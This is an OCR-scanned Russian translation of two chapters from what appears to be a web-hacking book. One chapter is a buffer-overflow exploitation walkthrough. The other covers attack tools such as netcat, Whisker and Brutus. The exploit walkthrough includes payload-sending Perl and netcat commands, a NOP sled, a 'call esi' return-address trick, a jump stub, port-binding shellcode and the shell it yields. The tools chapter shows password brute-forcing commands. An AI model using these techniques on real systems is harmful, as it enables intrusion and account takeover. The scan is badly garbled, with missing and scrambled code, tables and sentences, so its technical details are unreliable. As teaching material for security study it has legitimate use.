Переполнение буфера Для начала следует ознакомиться с некоторыми полезными средствами и получить немного дополнительной информации. Чтобы понять материал этой главы, необхо димо обладать хотя бы минимальными знаниями в следующих областях: • язык ассемблера для процессоров х86; • язык программирования С; • основы отладки программ. Кроме того, для получения максимальной пользы от рассматриваемого материала и лучшего усвоения приведенных примеров необходимо ознакомиться с рядом про граммных продуктов. от компании • Visual от компании Microsoft (или любой другой компилятор C++) (http:// www.microsoft.com/vstudio), • Interactive Dissassembler Pro от компании (http://www.datarescue.com). • Netcat от хакера Хоббита (Hobbit) exploits/network scanners/). • Perl от компании ActiveState (http: • W32Dasm от компании Co. Простейшее переполнение буфера Переполнение буфера происходит в том случае, когда размер записываемых дан ных превышает объем памяти, зарезервированный для выполнения этой операции. При этом данные записываются в область памяти, находящуюся за пределами зервированного участка. Можно поспорить, что они наверняка попадут далеко не в самое лучшее место. Рассмотрим следующий фрагмент кода: void <char char strcpy(buff, name); return; } Для хранения переменной bu f f выделяется 10 байт (char b u f f Затем строка, адрес которой содержится в указателе name, копируется в буфер (buff Посколь ку длина строки по адресу гораздо больше размера буфера, используемого для ее обработки, в памяти возникнет переполнение данных. Где же размешаются дополни тельные символы и как их можно использовать? Перед тем как отправиться дальше, рассмотрим еще несколько фундаментальных принципов. Краткие сведения о языке ассемблера Ассемблер --- язык низкого уровня, написанный с учетом архитектуры определен ного центрального процессора. Существуют многочисленные разновидности этого языка, наиболее популярными из которых являются Intel 80x86, SPARC, RISC и Глава 14. Переполнение буфера "на лету" 291
Digital. Язык ассемблера позволяет программисту взаимодействовать с аппаратными средствами напрямую, например открыть последовательный порт, перезаписать со держимое оперативной памяти или нарисовать линию на экране. Подробное рассмот рение языка ассемблера не входит в задачи этой книги. Однако кратко познакомиться с этим низкоуровневым миром машинных команд все же будет не лишним. В этом разделе обсуждается лишь та информация, без которой нельзя обойтись при рассмот рении материала данной главы. Язык ассемблера является "родным" языком компьютерных систем. При написа нии программ на этом языке используются инструкции центрального процессора. При этом разработчик имеет полный доступ к процессору без каких либо ограниче ний и дополнительного кода, без которого нельзя обойтись при использовании высо коуровневых языков программирования. программы на языке ассемблера яв ляются более компактными и быстрыми, а также занимают меньший объем памяти по сравнению с аналогичными программами на языках более высокого уровня. Кроме того, такие программы прекрасно подходят для сокрытия ошибок! Регистры общего назначения Любой, кто пробовал скопировать файл размером 2 Мбайт на гибкий диск объе мом 1.44 Мбайт, прекрасно знает, что собой представляют байты (или, как минимум, испытывает их недостаток). Байты предназначены для конечных пользователей, по скольку на самом деле данные хранятся в битах (двоичных единицах и нулях). В стан дартном центральном процессоре байт состоит из 8 битов и позволяет хранить числа от0до255. Бит Значение Примеры 3 129 255 1 128 = = 2 64 0 1 1 3 32 •0 0 1 4 16 0 0 1 5 8 0 0 1 6 4 0 0 1 7 2 0 0 1 8 1 1 0 1 1 1 1 Хранение битов и выполнение над ними различных операций осуществляется в регистрах центрального процессора. В основном используются регистры четырех ти пов: 32 и 64 битовые. В предыдущих примерах использовался регистр, размер которого равен 8 бит. Как правило, регистры общего назначения являются 16 битовыми и называются А Х , ВХ, СХ и DX. Все эти регистры могут использоваться без каких бы то ни было огра ничений, хотя в различных ситуациях они могут играть определенную роль. До появ ления процессора 80386 каждый 16 битовый регистр общего назначения состоял из старшей и младшей части, по 8 бит каждая. Таким образом, регистр АХ состоял из час тей ИАН,ВХ---ИЗ ИВН,СХ--- ИСН,aDX---ИЗDLИDH. Вот пример регистра АХ, в котором содержится число 25 263. АН 11000101 0101111 Над каждой из восьмибитовых половин регистров операции можно выполнять на прямую. При этом выполняемые действия будут отражаться на значении регистра в целом. При переходе компьютерной техники к 32 битовому представлению данных регистры также были расширены, чтобы обеспечить согласованность с этим увеличе нием разрядности. Так, символ Е используется для представления 32 битового регист ра. Конечно, после увеличения разрядности регистров по прежнему можно работать отдельно с их 8 или 16 битовой частями. 292 Часть III. Как они это делают
EAX Накопительный регистр (Accumulator). В основном регистр ЕАХ ис пользуется при выполнении операций ввода вывода, арифметических операций и вызове функций ЕВХ Базовый регистр (Base). В нем часто содержится адреса сегмента ЕСХ Регистр счетчик (Count). Он используется при выполнении циклов и других повторяемых действий EDX Регистр данных (Data). Этот регистр используется при выполнении операций ввода вывода и арифметических операций. Регистры об щего назначения можно использовать по своему усмотрению. Однако при выполнении некоторых операций каждый регистр может играть определенную роль Регистры указатели и индексные регистры Регистры указатели являются 16 битовыми и в основном используются при вы полнении строковых операций. Существуют три регистра указателя и два индекс ных регистра. Указатель стека Всегда указывает на вершину стека. Более подроб ная информация о стеке содержится ниже ЕВР Базовый указатель Обычно используется для доступа к переменным стека ESI и EDI Индекс источника и Обычно эти индексные регистры называются индекс назначения строковыми и используются при обработке строк байтов EIP Счетчик команд Определяет следующую инструкцию, которая будет выполнена. Управляя счетчиком команд, можно управлять процессом выполнения программы Стек Это специальная область памяти, используемая для следующих целей: • хранения адресов возврата функций; • хранения значений регистров; • хранения значений переменных. Стек можно представить как набор пластин, сложенных в пирамиду. Удалить или добавить пластину можно только с вершины пирамиды. Процесс удаления пластины называется pop (вытолкнуть), а добавления --- push (протолкнуть). Такой стек называ ется также (Last In First Out пришел --- первым обслужен"). При вызове функции значения регистров, параметры функции, переменные и адрес воз врата в стек. Поскольку память, распределяемая под стек, разме щается перед адресом возврата, можно достигнуть границ выделенной области, пере записать значение адреса возврата и передать управление по любому другому адресу. Именно так и можно добиться переполнения буфера. Инструкции языка ассемблера Перед написанием собственной утилиты взлома следует познакомиться с несколь кими инструкциями языка ассемблера. В табл. 14.1 представлены некоторые инструк ции, которые необходимо изучить перед запуском компилятора. Глава 14. Переполнение буфера "на лету"
Таблица Основныеинструкции ассемблера Общие инструкции pop цель push цель mov источник Адресные инструкции lea цель, add цель, источник inc источник Дополнительные инструкции стр источник dec цель sub цель, источник Логические инструкции источник test цель, or источник shr цель, количество add Инструкции сдвига цель, количество shr цель, количество Инструкции безусловного перехода call цель jm p метка ret значение Извлечь данные из стека Поместить данные в стек Переместить или скопировать байт, слово или двойное слово меж ду регистрами или между регистрами и памятью Загрузить эффективный адрес Добавить байт, слово или двойное слово Выполнить сравнение Декрементировать байт, слово или двойное слово Выполнить вычитание Выполнить логическую операцию исключающего ИЛИ (XOR) Проверить биты Выполнить логическую операцию ИЛИ (OR) Выполнить сдвиг битов вправо на заданное количество позиций Добавить слово или двойное слово Выполнить сдвиг битов влево на заданное количество позиций Выполнить сдвиг битов вправо на заданное количество позиций Вызов процедуры Безусловный переход Возврат из процедуры Отслеживание "злонамеренных" байтов Теперь возвратимся к тому, на чем мы остановились выше. Вернемся к тому же фрагменту кода и подробно рассмотрим, как центральный процессор его обрабаты вает и что содержится в оперативной памяти, стеке и регистрах во время его вы полнения. Вот этот фрагмент: void overflow(void) { char char <= 294 Часть III. Как они это делают
При запуске процедуры "переполнения" (в процессе выполнения функции содержимое стека в точке, обозначенной символами <=, выглядит сле дующим образом: адрес адрес buff данные buff регистра ebp адрес возврата При вызове функции все байты строки помещаются в буфер содержащийся в стеке. Дополнительные байты поверх ранее сохранен ного значения регистра ЕВР и адреса возврата. При завершении выполнения функции содержимое регистра ЕВР восстанавливается из стека, т.е. из стека извлека ется сохраненный ранее адрес возврата. В нормальной ситуации в счетчике команд (EIP) содержится адрес ближайшей по сле вызова функции инструкции. Поскольку обратный адрес был замещен другими байтами, регистр EIP будет указывать на другое местоположение. В результате при за пуске программы на экране появится сообщение Application Error, прекрасно знако мое в мире хакеров (рис. 14.1). The at а! ТЫ c ould not Click to т 14.1. Сообщение об ошибке Application Error Однако рассмотрим эти байты подробнее. Первое значение, 0 x 7 0 786567 , является представлением подстроки рхед, входящей в состав строки hacking exposed. Таким образом, значение счетчика команд можно модифицировать с помощью функции А это значит, что можно кардинально изменить ход вы полнения программы, разместив в регистре EIP адрес кода, помещенного в память при переполнении. Что произойдет, если в буфере buff разместить машинный код (двоичное представление ассемблерных инструкций) и модифицировать содержимое регистра EIP так, чтобы он на этот код указывал? Остается только надеяться, прак тически каждая компания разработчик программного обеспечения будет уделять вни мание вопросам безопасности. В противном случае любую команду на удаленном компьютере можно будет выполнить даже без подбора пароля. Другими словами, мир был бы в наших руках. Пример переполнения буфера Рассмотрим интересный пример, а также проанализируем, как из сложившейся ситуации можно извлечь максимальную выгоду. Есть три возможности поиска изъянов переполнения буфера. • Просмотр исходного кода. • Дизассемблирование. • Работа в предельном режиме. Глава 14. Переполнение буфера "на лету"
Если условий переполнения буфера требуется достигнуть в системе Windows (что и рассматривается в данной главе), то действия ограничиваются двумя последними воз можностями. Ниже рассматриваются достоинства и недостатки каждой из них. Это представление двоичной исполняемой программы (т.е. программного обеспе чения) на языке ассемблера или в виде инструкций центрального процессора, выпол няемых на компьютере. Если вы всерьез подумываете о подобном обратном проекти ровании, то стоит воспользоваться единственным лучшим средством --- Interactive Dis assembler Professional от компании Datarescue. В мире Windows, в котором исходный код, как правило, недоступен, способность "читать между строк" является невероятно ценным качеством. Чтобы обнаружить изъяны посредством этого метода, необходимо понимать, как высокоуровневые функ ции преобразуются в ассемблерный код. Для примера рассмотрим простой фрагмент исходного кода на языке С. int *user) {char "4s некорректное имя user); return 1; } Аргумент с заданной пользователем длиной user копируется в буфер раз мером 500 байт. Поскольку количеством передаваемых данных, которые размещаются в буфере, можно управлять, это позволяет выйти за пределы выделенного диапазона и выполнить произвольный После дизассемблирования исходный код выглядит следующим образом: mov eax, push eax push ; некорректное имя пользователя" lea ecx, [ebp lF4h] push ecx call _sprintf Обратите внимание на ряд важных моментов. Параметры помещаются в стек в об ратном порядке. С одной стороны, почти каждая инструкция, которая ссылается на область памяти, расположенную выше адреса, заданного в регистре ЕВР (например, ссылается на параметр процедуры. С другой стороны, при ссылке на ло кальные переменные используется отрицательное смещение относительно адреса ЕВР (например, Так что же происходит? Параметр, ссылка на который имеет вид [ebp+8] (пользовательская строка), помещается в регистр еах, а затем проталкивается в стек. Следующим в стек записывается второй аргумент функции sprintf. Здесь соот ветствует десятичному числу 500 (размеру буфера). После завершения обратного про ектирования можно без особых проблем выявить подобные вызовы. Пока в памяти еще свежи полученные сведения, ничто не может помешать анализу низкоуровневого преобразования функций. Работа в предельном режиме Перед реализацией атаки, например на почтовый сервер, вместо безрассудного по гружения в ассемблерный код стоит обратиться к документации. Из документа RFC, в котором описывается протокол SMTP, можно извлечь всю необходимую информацию о 296 Часть III. Как они это делают
командах, используемых на сервере по умолчанию. Исходя из полученных знаний, можно сделать вывод, что для реализации атаки в качестве параметра какой либо ко манды достаточно отправить длинную строку. Сделать это проще простого. Хорошим инструментом для тестирования является свободно распро страняемая утилита NTOMax от компании Foundstone (http://www.foundstone.c om). Из фрагмента исходного кода видно, где располагается опасный void char return; } Полученные через сокет данные хранятся в переменной а затем передают ся в буфер размером 1400 байт без какой бы то ни было проверки границ. Та ким образом, абсолютно очевидно, что если передать более 1400 байт данных, то можно разместить информацию поверх дополнительной области памяти. Проверим, удастся ли наложить данные поверх чего нибудь важного. Для начала запустим программу chl4server.exe: Затем загрузим программу и нажмем комбинацию клавиш <Ctrl+D>. При ра боте в системе достичь поставленной цели можно с помощью команды on, которая позволяет перехватить любое нарушение доступа к памяти. Однако при работе в системах NT или 2000 одной команды faults on недостаточно. К сожалению, при использовании программы Softlce в этих операционных системах могут возникать некоторые проблемы. Вместо этого воспользуемся следующей командой: bpx do Эта команда позволяет установить точку прерывания на обработчик прерываний системы NT и дизассемблирует адрес, определяемый выражением esp+Oc. Этот адрес определяет место, где произошло исключение. Введем в командной строке следую щую команду: С:\> perl e "х"х1400. yourhost 9999 С помощью этой команды на TCP порт 9999 передается 1400 байт символа х, а за тем 4 байта В действительности эти данные не могут разместиться нигде, кроме важных областей оперативной памяти. Чтобы проиллюстрировать эту ситуацию, на рис. 14.2 показано диалоговое окно отладчика Visual C++. 14.2. Содержимое регистра замещено строкой Глава Переполнение буфера "на лету" 297
Обратите внимание на левую верхнюю часть экрана, где содержимое счетчика ко манд было заменено представлением 0x64636261 дополнительно переданной строки Теперь, когда процессор находится под контролем, куда можно двигаться дальше? Существует несколько возможностей. Одна из них связана с стека, но, к сожалению, система Windows не отличается надежностью. Поэтому реализацию та кой возможности вряд ли можно считать хорошим выбором. Неплохо было бы обла дать информацией о структуре стека или воспользоваться достаточно большой после довательностью команд NOOP (no operation), что позволило бы достичь цели. Разуме ется, желательно получить надежное решение. Второй вариант должен обеспечить переход к процессу или библиотеке DLL, в контексте которых и выполнится код. Обратимся к регистрам и посмотрим, с чем придется иметь дело. Можно быстро определить, что одним из регистров, указывающих на что либо по лезное, является ESI, который указывает прямо на буфер. Это можно проверить, вос пользовавшись командой d esi в программе Было бы идеально, если бы в па мять удалось загрузить фрагмент кода, выполняющий команду call esi или esi. При этом будет выполнен код, расположение которого в памяти определяется этим регистром. Лучше всего непосредственно воспользоваться самим исполняемым кодом, поскольку он остается статическим. Загрузим файл в оболочку W32Dasm. С ее помощью сам трюк выпол нить не удастся, однако определенную пользу все же можно извлечь. Это чрезвычайно быстрое средство, которое идеально подходит для поиска необходимой последовательно сти инструкций. Введем строку call esi в окне поиска, как показано на рис. 14.3. 00403140 r Рис. 14.3. Поиск инструкции Результаты поиска показали, что в качестве смещения используется значение Ох0040336е. Вместо добавления строки нужно добавить адрес инструкции call esi. На забывайте, что терминальный символ NULL содержится в последнем байте. Вместо передачи символа х необходимо отправить последовательность пустых инструкций (NOOP), в которую внедрена строка int3. Для этого следует запустить программу Softlce и для установки точки прерывания ввести команду bpint 3. Теперь эту последователь ность команд нужно выполнить в perl х1399. nc yourhost 9999 В результате выполнения этой команды было отправлено 1399 пустых инструкций (NOOP), а после них --- код инструкции СС, который транслируется в int 3. Это приво дит к изменению адреса возврата и выполнению инструкции call esi. Если придер живаться плана, то отладчик сможет отследить вызов прерывания. Теперь в нашем • распоряжении имеется код, выполняющийся в контексте удаленного процесса. Очевидно, что в реальности код, состоящий из пустых инструкций вызова преры вания, не представляет особой ценности. Так что воспользуемся кое чем более полез ным и посмотрим, что из этого получится. (На Web узле http://www.deepzone.org, который поддерживается Изэном мож но найти удобное средство генерации кода привязки к портам для платформы Win32.) Для генератора требуются адреса двух функций --- LoadLibraryA и GetProcAddress, используемых в исполняемых файлах или библиотеках DLL. Для получения этих ад ресов можно воспользоваться дизассемблером или средством типа DUMPBIN. Место положение этих двух функций показано на рис. 14.4. 298 Часть III. Как они это делают
Рис. 14.4. Адреса функций и Двумя требующимися смещениями являются 00406068 и 004060а8. Для динамиче ского получения адресов других функций в сгенерированном коде используется две функции. Генератор позволяет сгенерировать код в формате ASM, С, Perl и Java. В системе нужно использовать такую последовательность байтов: 0x90 * 1400 --- <адрес Когда сервер получает эту строку, сохраненный при вызове функции () адрес возврата замещается адресом, который указывает на инструкцию call esi. Регистр ESI указывает на последовательность пустых инструкций, после которых следует код при вязки к порту. После возврата из функции переход выполняется не к той инструкции, к которой необходимо, а к инструкции call esi, при вызове которой будет выполнен нужный код. К сожалению, существует небольшая проблема. Байтов, контролируемых в ESI, не достаточно для размещения всего кода, сгенерированного с использованием узла deepzone. Еще раз прибегнем к дизассемблированию. Видно, что адрес O x 004098 f c по мещается в стек перед вызовом функции По этому адресу содержатся полу ченные байты. Если в исходную строку добавить переход по этому адресу, то мы по падем точно в цель. еах, еах mov еах, 4098fc99h shr еах, 08 есх, есх mov 20h add е ах, есх call еах регистр еах поме сти т ь адрес в еах со значением 99 hex в из регистра значение регистр в есх в есх в еах, чтобы пропустить этот нашу оболочку После запуска этого кода сначала будет найден исходный буфер, затем к нему бу дет добавлен небольшой фрагмент, после чего этот фрагмент кода будет выполнен. Несколько нестандартный ассемблерный код применяется для того, чтобы избежать использования Для более полного ознакомления с данной реализацией переполнения буфера, пройдите этот код с помощью отладчика. Data sent. Telnet to 192.168.10.2 port 8008 now. Trying 192.168.10.2. . . . Connected to acmelabs.net Escape character is Microsoft Windows 2000 [Version 5.00.2195] С Copyright 1985 1999 Microsoft Corp. При выполнении этого кода с портом 8080 связывается командная оболочка. С ее помощью можно выполнять практически неограниченные действия. Глава 14. Переполнение буфера "на лету"
Контрмеры Продемонстрированные в этой главе приемы могут оказаться для Web узла смер тельными, поскольку они одним ударом предоставляют административный доступ к его ресурсам. Однако без профессионального хакера, который мог бы найти изъян и создать соответствующее средство взлома, подобные атаки очень трудно как обнару жить, так и реализовать. Для этих взломов трудно сформулировать контрмеры, поскольку проблема кроется в самом коммерческом программном обеспечении (которое в основном нельзя кон тролировать напрямую). Конечно, наилучшей контрмерой остается применение моду лей обновления и новых версий программных продуктов от таких производителей, как Microsoft и Apache. Однако, даже если в течение многих лет применять модули обновления и сервисные пакеты, это не позволит всех атак. Для мак симально полной защиты Web сервера существует единственный способ. Он заключа ется в установке какой либо системы предотвращения вторжений, например Entercept Резюме Искусный хакер может искать в программах условия переполнения буфера, а затем использовать их для реализации атак. Хотя приемы, которые обсуждались в этой гла ве, связаны с поиском изъянов программ в лабораторных условиях, их можно исполь зовать и для поиска уязвимых мест в коммерческих приложениях. Материал этой главы требует серьезных размышлений. Ее основная идея заключа ется в том, что даже при использовании всех средств защиты, процедур и модулей об новления вы по прежнему остаетесь уязвимыми, если не используете программного обеспечения типа Entercept которое позволяет предотвра тить такие нападения. 300 Часть III. Как они это делают
ЧАСТЬ IV Приемы Web
Случай из жизни Прохаживаясь по перрону метрополитена и просматривая только что купленный журнал Wall Street Journal, Дэвид увидел заголовок: "Компьютерный червь наносит новый удар по компаниям и обходится им в миллиарды долларов". Компьютерный червь --- это самораспространяющаяся программа, которая инфицирует один компью тер за другим, зачастую используя ресурсы инфицированного компьютера для про должения своей злонамеренной деятельности. Вне всякого сомнения, это нелепая оценка Она не имеет ничего общего с действительностью. Ведь того, о чем "кричал" заголовок, просто не сущест вовало. Дэвид работал администратором по вопросам безопасности и обслуживал бо лее 100 тыс. компьютерных систем интерактивной маклерской компании. Он помчал ся на 53 й этаж офиса и включил свой переносной компьютер, чтобы запустить Internet броузер. Он сразу зашел на Web узел Координационного центра CERT (Carnegie Mellon Emergency Response Team, на котором, по его мнению, содержалась жизненно важная для него информация. Дэвид полагался на специали стов этой группы в течение нескольких лёт. Данные с этого Web узла позволяли быть готовым к нападениям из Internet, а также ко внутренним взломам. Получая описание нового взлома, эта организация была далеко не самой отзывчивой, но, как правило, предоставляла больше информации, чем другие организации, занимающиеся обеспе чением безопасности, и в конечном счете стала наилучшим источником полезной информации о взломах. Группа CERT достаточно уверенно сообщила, что вчера вечером было поражено около 100 млн. компьютерных систем. Примерно за 36 часов были получены сообще ния со всего мира. Казалось, что это никогда не закончится. В более ранних сообще ниях указывалось, что вирус червь мог работать на многих платформах и с множест вом приложений, а чтобы скрыть свое местонахождение, пользовался достаточно ред ким приемом, называемым Известные до сих пор черви были довольно безвредны. В них использовались стандартные изъяны подсистемы защиты, которые и обнаруживались с помощью традиционных методов. В какой то момент черви, которые инфицировали миллионы компьютеров в 2001 году, стали очень по хожи на детскую игру. Пришел новый день, и Дэвид неожиданно осознал все послед ствия этого события. Червь поддерживал много платформ, поскольку мог инфицировать все три основ ные операционные системы: Windows, Solaris и Linux. После проникновения на один из компьютеров он продолжал сканировать локальную сеть в поисках как аналогич ных, так и других систем. При этом для проникновения использовались известные изъяны каждой платформы. Этот вирус мог взаимодействовать с множеством приложений, поскольку в первое время он инфицировал базы данных Oracle и SQL Server. В одном из направлений атак использовались изъяны прикладного уровня, а в процесс переполнения буфера вовлекалась хранимая процедура сервера SQL Server компании Microsoft и язык XML. Червь был практически невидимым, поскольку шифровал свой трафик с использо ванием протокола SSL. Это позволяло эффективно скрываться от систем выявления вторжений (Intrusion Detection System --- IDS). Используя шифрование SSL, приме няемое на многих коммерческих Web серверах, червь скрытно проникал на Web серверы IIS и Apache, захватывал их ресурсы и приводил к прекращению работы кри тически важных систем. Дэвид подумал: "С быстрым распространением вирусов червей, поражающих кри тические системы и важную инфраструктуру по всему миру, привычное нам вскоре канет в Лету". 302 Часть IV. Приемы фу в Web
ГЛАВА 15 средства автоматизации Не нужно относиться к ошибкам с презрением. Когда приходит озарение и удача, даже самая глупая ошибка может привести к постижению высочайшей истины. Важнейшие изобретения, кото рые были сделаны на основе ошибочных гипотез практически во всех областях науки, исчисляются сотнями, если не тысячами. Стефан Цвейг, австрийский писатель
Введение Большая часть информации, содержащейся в предыдущих главах, была посвящена пошаговым процедурам обнаружения и изъянов Web приложений, вы полняемым вручную. Однако многие автоматизированные средства позволяют выпол нить практически те же действия, но в десятки раз быстрее. При этом не требуется затрачивать каких либо значительных усилий. Некоторые из этих средств уже обсуждались (или, как минимум, упоминались) в предыдущих главах. В этой главе рассматриваются те из которые прежде остава лись за кадром (или были описаны недостаточно полно), но все же заслуживают са мого пристального внимания. • Утилита Netcat, написанная Хоббитом (Hobbit), --- "швейцарский армейский нож" хакера. • Утилита Whisker лаборатории Rain Forest Puppy --- одно из первых завершенных средств, предназначенных для поиска изъянов в Web. • Утилита Brutus от группы специалистов компании HooBie Inc. (h ttp ://www . --- одна из самых робастных программ, предназначенных для прямого подбора паролей, используемых при аутентификации в Web. • Программа Achilles, написанная Роберто Кардоном (Roberto Cardona, --- один из первых proxy серверов HTTP, позволяю щий динамически вставлять команды в поток данных HTTP. • Программа Cookie от компании Kookaburra Software --- одно из лучших средств мониторинга данных cookie, создаваемых/удаляемых в системе. • Пакет от компании Tennyson Maxwell Information Systems, Inc. позволяющий по графику выполнять автоматизирован ный сбор Web страниц и инвентаризацию Web серверов. Netcat уже упоминалась и использовалась во многих примерах. Помимо чрезвычайно богатого набора эта утилита предоставляет еще одну важную возможность. Ее можно использовать в сценариях как системы Windows, так и UNIX. Уже поэтому Netcat заслуживает более подробно рассмотрения. Как упоминалось в предыдущих главах, утилита Netcat является HTTP посредником и запрашивает информацию от Web сервера напрямую, без использова ния традиционного броузера. При выполнении в Web утилита Netcat может фактически полностью заменить броузер. Другими словами, она позволяет осущест вить практически все (например, с использованием GET и можно полу чить информацию с Web сервера, извлечь исходный код или вставить символы в опе раторы SQL). Поскольку Netcat запускается из командной строки, выполнение всех этих действий можно легко автоматизировать. Для начала посмотрим, как с помощью утилиты Netcat можно получить с сервера Web страницу, используемую по умолчанию. С:\> 192.168.0.5 81 GET / HTTP/1.0<crxlf> 304 Часть IV. Приемы фу в Web
<cr><lf> HTTP/1.1 200 OK Server: Content Location: Date: 27 Apr 2002 18:00:28 GMT Content Type: text/html bytes Last Modified: Sat, 06 Apr 2002 06:48:32 GMT ETag: Content Length: 5 • ' В приведенном фрагменте текст, выделенный жирным шрифтом, необходимо вве сти в командной строке после начального запуска утилиты Netcat. Обратите внима ние, что символы <cr><lf> обозначают нажатие в конце строки клавиши <Enter>. Пе ред передачей команды на Web сервер эту клавишу нужно нажать дважды. Кроме то го, следует заметить, что на странице целевого сервера содержится единственная строка со словом Из приведенного фрагмента видно, что с Web сервера были получены подробные данные о заголовке и слово Hello. Для того чтобы автоматизировать выполнение описанной выше процедуры с ис пользованием Netcat, необходимо обладать навыками написания командных файлов (Windows), сценариев на языке (Windows или UNIX) или сценариев оболочки (UNIX). Однако в любом случае ниже будет показано, как это делается. Обратимся еще раз к предыдущему примеру, в котором используемая по умолчанию Web страница извлекалась с Web сервера с помощью утилиты Netcat. Создадим отдельный текстовый файл txt со списком целевых Web серверов. www.example3.com www.example4.com www.example5.com После этого создадим файл с запросом GET. GET / <cr><lf> Теперь файлом http.txt можно воспользоваться при запуске утилиты Netcat и бы стро передать запрос GET всем необходимым Web серверам. Для этого достаточно применить простой цикл системы Windows. for It in (targets.txt) do type http.txt | nc 80 Параметр /f используется для считывания данных из файла а оператор do определяет которые нужно выполнить: вставить содержимое строки GET (из файла http.txt) в команду вызова Netcat. Цикл fo r повторяется до тех пор, пока не будут обработаны все записи, содержащиеся в файле Такая команда позволяет получить все Web страницы, используемые по умолчанию на целевых сер верах. Если эту строку добавить в командный файл Windows то можно полу чить гораздо больше ценной информации. Например, в выходных данных можно вы полнить поиск таких ключевых слов, как action или applet. Приведенный простой пример позволяет получить полное представление об ос новных принципах написания сценариев и самой утилите Netcat. Обратите внимание: практически все, что рассматривается в этой книге, можно использовать в сценариях с утилитой Netcat. Глава 15. в Web: средства автоматизации 305
Whisker Это одна из первых программ выявления изъянов в Web, которую мож но использовать при автоматизации процедуры проверки. За годы своего существова ния утилита Whisker стала в некотором роде культовым средством. И для этого есть все основания. С ней связан внушительный список Web изъянов, известных в на стоящее время. Используя сведения, предоставляемые центром NMRC (Nomad Mo bile Research Center), консорциумом W3C (World Wide Web Consortium), бюллетенем хакером Федором (Fyodor), компанией Network Associates и многими другими специалистами в области обеспечения безопасности, эта утилита, разработанная в ла боратории RFP, представляет собой робастное средство выявления Web изъянов, с которым следует познакомиться как можно ближе. Утилиту Whisker можно использовать как в Windows, так и в UNIX. Именно эта универсальность и обеспечивает столь высокую ее популярность. В процессе работы утилита Whisker пытается установить связь с целевым Web сервером и использует файл содержащий перечень всех проверок, которые необходимо выполнить. Если соединение успешно установлено и возвращаемые сервером данные имеют ожидаемый формат, то утилита Whisker сообщает об уязвимости сервера. Хотя реа лизованный в этой программе подход и не отличается высокой "интеллек туальностью" и иногда приводит к получению неправильных результатов, она все же является одной из самых стабильных программ тестирования, известных в на стоящее время. Для того чтобы воспользоваться утилитой Whisker, достаточно запустить ее из ко мандной строки. h 192.168.0.5 --- whisker / / rain forest puppy / ww.wiretrip.net = Host: 192.168.0.5 = Server: Apache/1.3.12 (Win32) + 200 OK: HEAD /cgi bin/printenv + 200 OK: HEAD /manual/ После ввода приведенной выше команды утилита Whisker подсоединилась к порту 80 узла и определила, что на нем установлен Web сервер Apache/1.3.12 для системы Windows (Win32). Кроме того, были идентифицированы четыре модуля Web сервера: raod_ssl/2.6.4, и Вся полученная информация может существенно облегчить задачу взломщика. Утилита Whisker обна ружила две ссылки, которые являются потенциальными точками входа на сер вер и Результаты использования первой ссылки пред ставлены на рис. Как уже не раз упоминалось в этой книге, информация, полученная с использова нием подобной ссылки, представляет для взломщика чрезвычайную ценность. Она содержит имя сервера, несколько путей и даже их описание. Если какой либо из Web серверов предоставляет подобные данные, необходимо срочно принять соответствую щие контрмеры. Второй ссылкой является /manual. При ее использовании было обнаружено инте рактивное руководство по развертыванию сервера Apache. Хотя в нем и не содержится ценной информации, все же подобные документы должны находиться в другом месте. Если подобные стандартные файлы по умолчанию хранятся на Web сервере, их следует немедленно удалить. 306 Часть IV. Приемы фу в Web
/orac HTTP ACCEPT HTTP S" 6.0; NT S.O)" " SERVER Server at Port p. \ Рис. 15.1. Выходные данные, полученные при ссылки • Подбор паролей "в лоб" Если для контроля доступа к ресурсам на Web узле используется механизм аутен тификации, то с помощью утилиты Whisker имена пользователей и пароли можно по добрать "в лоб". Например, если при обращении к Web узлу появляется диалоговое окно, аналогичное показанному на рис. 15.2, это означает, что для доступа к ресурсам необходимо пройти стандартную аутентификацию HTTP. Теперь с помощью параметров 0 и L утилиты Whisker можно выполнить подбор регистрационных данных. Параметр U позволяет задать список пользовательских имен, сгенерированный с использованием сценария listge n .pl (входящий в комплект поставки Whisker), которые будут использоваться при установке соединения. В дейст вительности такой прием можно использовать для доступа к Web серверам системы UNIX, на которых применяется старый механизм управления состоянием и пользова телями. Однако он может пригодиться и в некоторых других случаях. Когда имя пользователя уже получено (либо прямым перебором, либо "на ощупь"), с помощью параметра можно подобрать соответствующий пароль. этого утилиту Whisker необходимо запустить следующим образом: С:\> whisker.pl h 192.168.0.5 р 82 / a whisker / rain forest puppy / www.wiretrip.net --- Brute forcing authentication for user on Host: 192.168.0.5 Valid combo on following URL: Глава 15. Хакинг в Web: средства автоматизации 307
В процессе подбора пароля для пользователя test утилита Whisker циклически просматривала файл паролей до тех пор, пока не был обнаружен пароль test. По умолчанию используется файл паролей pass.txt, содержащийся в каталоге \lists. При необходимости этот файл можно отредактировать. Выше показано применение утилиты Whisker для подбора "в лоб" данных, исполь зуемых в процессе стандартной аутентификации на Web сервере. Однако не следует забывать и о двух других формах аутентификации: с использованием форм и меха низма NTLM. Есть несколько способов, с помощью которых можно определить ис пользуемый метод. Однако проще всего внимательно посмотреть на диалоговое окно, отображаемое клиентским броузером. Так, например, на рис. 15.3 показано стандарт ное диалоговое окно броузера Internet Explorer. Please name and I Г Рис. 15.2. Диалоговое окно для ввода данных аутентификации Рис. 15.3. Диалоговое окно NTLM аутен тификации Сделать подобное утверждение можно на основании того, что в данном диалого вом окне содержится поле Domain. Это поле используется в системе Windows для про верки того, что пользователь относится к определенному домену. Example Login Screen Name: 15.4. Страница аутентификации с формой 308 Часть IV. Приемы фу в Web
Аутентификация на базе форм существенно отличается от двух других методов и при подборе регистрационных данных "в лоб" требует совсем других подходов. На рис. 15.4 показана простая страница с формой, которая используется в процессе аутентификации. При использовании механизма аутентификации на базе форм подобрать регистра ционные данные труднее всего, особенно если речь идет об автоматизации этого про цесса. Популярная программа Brutus является одним из немногих средств, с помощью которых можно решить эту проблему. • Brutus Это многофункциональная программа взлома паролей Web. Она предназначена для применения только в системе Windows, однако остается работоспособной при ис пользовании различных механизмов аутентификации, включая следующие: • HTTP (аутентификация Basic); • FTP (File Transfer Protocol); • HTTP • SMB (Server Message Block); • POP3 (Post Office Protocol v3); • Telnet. Хотя в настоящее время стандартный тип HTTP аутентификации используется в Internet чаще всего, HTML формы также применяются достаточно часто. Чтобы вос пользоваться утилитой Brutus для подбора регистрационных данных, применяемых в стандартной HTTP аутентификации, достаточно задать цель в поле Target, выбрать в списке Туре тип аутентификации HTTP (Basic а затем определить до полнительные параметры в группе Authentication Options. По умолчанию применяются часто используемые имена пользователей и пароли (рис. 15.5). Port | |Step| Positive 192.168.0.5/ HTTP lest Opened password containing Passwords. of authentication attempts will be 4908 